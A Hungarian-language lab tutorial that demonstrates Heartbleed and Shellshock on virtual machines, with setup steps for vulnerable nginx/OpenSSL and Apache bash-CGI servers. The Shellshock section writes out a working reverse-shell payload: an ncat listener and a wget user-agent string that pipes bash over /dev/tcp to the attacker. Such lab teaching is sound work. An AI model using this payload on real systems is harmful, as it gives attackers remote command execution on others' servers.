Heartbleed

Az OpenSSL egyik része a Heartbeat modul, aminek a lényege, hogy küldünk a szervernek egy üzenetet és az pontosan azt visszaküldi. Az üzenettel együtt a hosszát is el kell küldenünk, de ezt a szerver nem ellenőrzi. Így, ha egy nagyobb számot adunk meg, akkor a szerver memóriatartalmának egy részét is visszakapjuk. A hossz egy 16 bites integer, tehát a maximális üzenet 64 kb, ami 500 karaktert tartalmaz. A visszakapott üzenet tartalmazhat jelszavakat, felhasználói adatokat, vagy akár a szerver privát kulcsát is.

A probéma oka, hogy a kapott üzenetet a memcpy függvénnyel másolja át a program a kapott üzenetből a küldött üzenetbe. A függvénynek egy pointert kell adni, így a kapott üzenet által elfoglalt memóriacímtől kezdve másol át 64 kilobájtot. A kapott üzenet bárhova kerülhet a memóriában, így üzenetet küldve más-más adatokat kaphatunk.

A Heartbleed bemutatásához két virtuális gépre lesz szükség. Kell egy támadó gép, ez bármi lehet és kell egy olyan szerver, amin az OpenSSL sérülékeny verziója fut. Az Ubuntu 12.04 alapból ilyennel jön, de bármilyen gép használható, amin az OpenSSL 1.0.1 és 1.0.1f közötti verzíoja fut. A további utasítasok Ubuntura vontakoznak, más operációs rendszer esetén a mappák mások lehetnek. Erre a gépre kell telepíteni egy webszervert. Az apache egy saját openssl modullal jön, aminek verziója nem feltétlenül egyezik meg a rendszerre telepítettel, ezért nginx-et fogunk használni.

Először telepítsük a nginx-et:

```
sudo apt-get install nginx
```

A konfigurációs fájolkat az /etc/nginx mappába rakja. Ebben a mappában hozzunk létre egy mappát az RSA kulcsoknak (pl. keys néven) és ott hozzuk létre őket:

```
openssl req –nodes –newkey rsa:2048 –keyout heartbleed.key –out heartbleed.crt
```

A kulcsgenerálás során kérni fog adatokat, ezeket nem kell beírni. Az /etc/nginx/sites-available/default nevű fájl tartalmazza a webszerver által szolgált oldal adatait, ennek a tartalmát írjuk át erre:

```
server {
  listen 443;
  server_name heartbleed;

  root /usr/share/nginx/www;
  index index.html index.htm;

  ## SSL
  ssl on;
  ssl_certificate /etc/nginx/keys/heartbleed.crt;
  ssl_certificate_key /etc/nginx/keys/heartbleed.key;

  ## SSL caching/optimization
  ssl_protocols        SSLv3 TLSv1 TLSv1.1 TLSv1.2;
  ssl_ciphers RC4:HIGH:!aNULL:!MD5;
  ssl_prefer_server_ciphers on;
  keepalive_timeout    60;
  ssl_session_cache    shared:SSL:10m;
  ssl_session_timeout  10m;
```

```
  ## SSL log files
  access_log /var/log/nginx/heartbleed_access.log;
  error_log /var/log/nginx/heartbleed/ssl_error.log;

  location / {
    proxy_set_header        Accept-Encoding   "";
    proxy_set_header        Host              $http_host;
    proxy_set_header        X-Forwarded-By    $server_addr:$server_port;
    proxy_set_header        X-Forwarded-For   $remote_addr;
    proxy_set_header        X-Forwarded-Proto $scheme;
    proxy_set_header        X-Real-IP         $remote_addr;
    proxy_next_upstream error timeout invalid_header http_500 http_502 http_503
http_504;
    error_page 405 = $uri;
  }
}
```

Hozzunk létre egy egyszerű honlapot, ami egy felhasználónevet és egy jelszavat küld a szervernek, és beállít egy cookie-t. A /usr/share/nginx/www/index.html fájlba ezt írjuk:

```
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<form name="input" action="index.html" method="post">
  Username: <input type="text" name="username"> <br />
  Password: <input type="password" name="password"> <br />
  <input type="submit" value="Submit">
<script>
  document.cookie="heartbleed='heartbleed test'";
</script>
</form>
</body>
</html>
```

Végül indítsuk újra a szervert:

```
sudo nginx –s restart
```

Most ha a https://localhost (kell a https, mivel csak a 443-as porton figyel a szerver) címre megyünk egy böngészőben, akkor látnunk kell a weboldalt. Mivel az általunk generált kulcsot nem írta alá egy hivatalos szervezet, ezért a böngésző figyelmeztetni fog. A honlapba írjunk be valamilyen felhasználónevet és jelszavat és küldjük be többször (legegyszerűbb, ha engedjük a böngészőnek, hogy mentse el a jelszavat).

A támadó gépre töltük le ezt a python scriptet és futtasuk le a paracssorból, az IPCIM-et lecserélve a webszerver IP címére:

```
python heartbleed-poc.py IPCIM
```

A kimenet tartalmazza a szerver által küldött üzenetet, ami tartalmazza a korábban beírt felhasználónevet és jelszavat és a beállított cookie-t.

Shellshock

A shellshock a Bash-ben egy hiba, amivel bármilyen parancsot le lehet futtatni a sérülékeny gépen. A hiba akkor történik, ha egy változónak egy függvényt állítunk be:

```
x=’() { echo test; }’
```

Amikor egy új shell indul, akkor átnézi a környezeti változókat, és ha talál egy olyat, ami úgy néz ki, mint egy függvény, akkor azt értelmezi. Viszont, ha a függvényleírás után írunk még parancsokat, akkor ezek az értelmezéskor lefutnak, például:

```
x=’() { echo “test”; }; echo ”Shellshock”’
```

Egy sérülékeny gépen a Shellshock szöveg a shell indulásakor kiíródik. Ha egy szerveren fut egy olyan program, ami kívülről kapott sztringet állít be környezeti változónak, akkor egy támadó tetszőleges parancsokat le tud futtatni. Például ilyen a CGI, amivel egy webszerver több nyelven írt szkriptet le tud futtatni, és a kimenetet megjeleníteni weblapként. Ha a CGI szkript bash-ben van írva, akkor a User Agent sztringet megkapja környezeti változóként.

Bemutatásához két virtuális gép kell. A Bash 4.3-ig minden verziója sérülékeny (így a heartbleednél használt Ubuntu 12.04 is jó), egy ilyen gépen állítunk fel egy bash CGI-t használó honlapot. Először telepítsük az Apache-t és engedélyezzük a CGI modult:

```
sudo apt-get install apache2
sudo a2enmod cgi
sudo service apache2 restart
```

A CGI szkripteket alapból a /usr/lib/cgi-bin mappába kell helyezni. Itt hozzunk létre egy test.cgi nevű fájlt, aminek a tartalma:

```
#!/bin/bash
echo 'Content-type: text/html'
echo ''
echo ''
echo 'Test'
```

Ezután a localhost/cgi-bin/test.cgi oldalt megnyitva a ”Test” szöveget fogja kiírni.

Most a támadó géppel nyissuk meg a test.cgi oldalt úgy, hogy speciális user agent sztringet adunk meg. Ehhez lehet használni a wget-et is, az -U paraméterrel tetszőleges user agentet meg lehet adni. Ha ez egy shellshock-os függvény, akkor a webszerverrel tetszőleges parancsot lefuttathatunk. Például lehet nyitni egy reverse shell-t. Ehhez először nyissuk meg a portot, amihez kapcsolódni fog a sérülékeny gép:

```
ncat –lvp 4444
```

Aztán egy másik terminálban nyissuk meg a test.cgi oldalt egy olyan user agent sztringgel, ami csatlakozik az előbb megnyitott porthoz:

```
 wget -U "() { test; }; /bin/bash >& /dev/tcp/SAJAT IP/4444 0>&1" SERULEKENY IP/cgi-bin/test.cgi
```

A sérülékeny gépen lefutatott parancs a shell minden kimenetét a támadónak küldi, az előbb megnyitott portra, és lefuttatja az általunk beírt parancsokat. Így a támadó bármit csinálhat a sérülékeny gépen, amit azon a webszervernek megengedtek és láthatja a futatott parancsok kimenetét.